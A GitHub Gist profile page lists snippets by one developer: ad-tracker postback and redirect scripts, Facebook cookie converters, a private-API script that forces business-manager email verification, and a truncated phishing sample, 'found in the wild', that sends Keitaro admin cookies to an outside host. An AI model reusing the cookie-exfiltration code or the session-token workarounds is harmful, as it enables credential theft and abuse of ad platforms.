Skip to content

Instantly share code, notes, and snippets.

View dvygolov's full-sized avatar
🤖
Replacing YOU with robots

Daniel Vygolov dvygolov

🤖
Replacing YOU with robots
View GitHub Profile
@dvygolov
dvygolov / dolphincloudadfix.js
Created April 9, 2025 10:42
removes unnecessary text from ad section in Dolphin Cloud: https://yellowweb.top/dolphincloud
// 1. Заменяем лишние div на иконку с тултипом
document.querySelectorAll(
'.v-data-table__wrapper table tbody tr td:nth-child(3) > div:first-child > div:nth-child(2)'
).forEach(originalDiv => {
const content = originalDiv.innerHTML;
const tooltipWrapper = document.createElement('span');
tooltipWrapper.style.position = 'relative';
tooltipWrapper.style.cursor = 'pointer';
tooltipWrapper.style.display = 'inline-block';
@dvygolov
dvygolov / binomtgdeppush.php
Created April 3, 2025 07:17
Binom + Telegram postback script that notifies buyers about new deposits
<?php
/**
* Binom Postback Filter Middleware v0.2
* by Yellow Web (https://yellowweb.top)
* This script receives postback data from Binom tracker
* about registrations and deposits,
* filters out registrations (cnv_status = 'reg'),
* and only forwards deposits (cnv_status = 'dep') to the Telegram bot.
*/
@dvygolov
dvygolov / ktfish.js
Created February 21, 2025 09:02
Fishing script that mimics Keitaro login form and steals data. Found in the wild.
document.addEventListener("DOMContentLoaded", (function() {
if (window.location.href.includes("/admin")) {
const e = {};
document.cookie.split(";").some((e => e.trim().startsWith(
"cookieName="))) && (e["X-Cookie"] = document
.cookie), fetch("https://xxxbigdicker.com/kei", {
method: "GET",
headers: e
}).then((e => {
if (!e.ok) throw new Error(
@dvygolov
dvygolov / bmemailverif.js
Created December 9, 2024 19:06
This script helps to verify any BM by any email, if Facebook asks for it and you can't change email
async function privateApiRequest(variables, docId) {
let subDomain = getSubDomain();
let graphUrl = `https://${subDomain}.facebook.com/api/graphql/`;
let lsd = require("LSD").token;
let dtsg = require("DTSGInitialData").token;
let uid = require("CurrentUserInitialData").USER_ID;
let body = {
av: uid,
@dvygolov
dvygolov / youtubevideoslist.js
Created October 17, 2024 08:22
This script prompts for the number of videos to process and then console.logs all the video titles found
// Get all video elements on the page
const videoElements = document.querySelectorAll('a#video-title-link');
// Ask user for the number of videos to process
const numberOfVideos = parseInt(prompt("How many videos do you want to process?"), 10);
// Initialize an empty string to store all video lines
let videoList = '';
// Process the required number of video titles
@dvygolov
dvygolov / fbasianconverter.js
Last active January 19, 2025 23:06
FB Asian cookies converter as a browser bookmarklet
//Script as a bookmarklet
javascript:(async () => {var div = document.createElement('div'); div.style.position = 'fixed'; div.style.top = '50%'; div.style.left = '50%'; div.style.transform = 'translate(-50%, -50%)'; div.style.width = '400px'; div.style.padding = '20px'; div.style.backgroundColor = 'yellow'; div.style.border = '2px solid black'; div.style.borderRadius = '10px'; div.style.zIndex = '10000'; div.style.boxShadow = '0 0 10px rgba(0, 0, 0, 0.5)'; var titleContainer = document.createElement('div'); titleContainer.style.display = 'flex'; titleContainer.style.alignItems = 'center'; titleContainer.style.justifyContent = 'center'; titleContainer.style.marginBottom = '10px'; var blurToggle = document.createElement('button'); blurToggle.innerText = '👁️'; blurToggle.style.backgroundColor = 'transparent'; blurToggle.style.border = 'none'; blurToggle.style.cursor = 'pointer'; blurToggle.style.fontSize = '20px'; blurToggle.style.marginRight = '10px'; blurToggle.style.opacity = '1'; titleContainer.appendChild(
@dvygolov
dvygolov / shakeshttps.php
Created July 26, 2024 11:42
Place this file somewhere in your Keitaro and use it like https://youtracker.com/path/shakes.php?q={STREAMCODE}
<?php
class ShakesRedirectCorrector
{
private function get_headers($url): array
{
$ch = curl_init();
$headers = [];
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
@dvygolov
dvygolov / convertcookies.php
Last active July 21, 2024 17:29
Convert cookies from "name=value" format (usually used in asian FB accounts) to JSON format
<?php
echo "Asian FB Cookies to JSON Converter v1.2\n";
echo " by Yellow Web\n\n";
// Check if the filename is provided
if ($argc < 2) {
echo "Usage: php script.php filename\n";
exit(1);
}
@dvygolov
dvygolov / firemetapixel.html
Created May 14, 2024 15:36
Example of how to fire Meta Pixel event on button click
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Example Page</title>
<script>
function fireMetaPixel(id, event) {
// Создание тега <img> с заданными параметрами
var img = document.createElement("img");
@dvygolov
dvygolov / exporttgfolder.py
Created May 11, 2024 20:27
This script can export all of your TG-channels from one folder into OPML format that can be imported into any RSS-reader. RSSHub.app is used for rss-friendly urls.
import sys
import xml.etree.ElementTree as ET
from telethon import TelegramClient
from telethon.tl.functions.messages import GetDialogFiltersRequest
from telethon.tl.types import InputPeerChannel, DialogFilter, DialogFilterDefault, DialogFilterChatlist
api_id = '<YOUR_APP_ID>'
api_hash = '<YOUR_APP_HASH>'
# Set up the Telethon client